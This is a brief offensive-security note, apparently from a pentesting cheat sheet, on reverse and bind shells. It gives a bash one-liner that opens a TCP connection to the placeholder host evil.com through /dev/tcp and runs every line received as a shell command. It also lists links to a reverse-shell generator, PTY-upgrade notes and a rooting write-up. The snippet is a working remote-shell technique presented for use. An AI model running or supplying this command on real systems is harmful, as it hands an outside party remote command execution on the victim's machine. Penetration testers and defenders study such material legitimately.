Reverse and Bind shells
It's possible to execute remotely command creating a shell that
connects back to home, like this below in bash
exec 5<>/dev/tcp/evil.com/<same unfiltered port> $ cat <&5 | while read line; do $line 2>&5 >&5; done
Links
- Cheat Sheet
- https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/
- Obtain PTY
- Reverse Shell Generator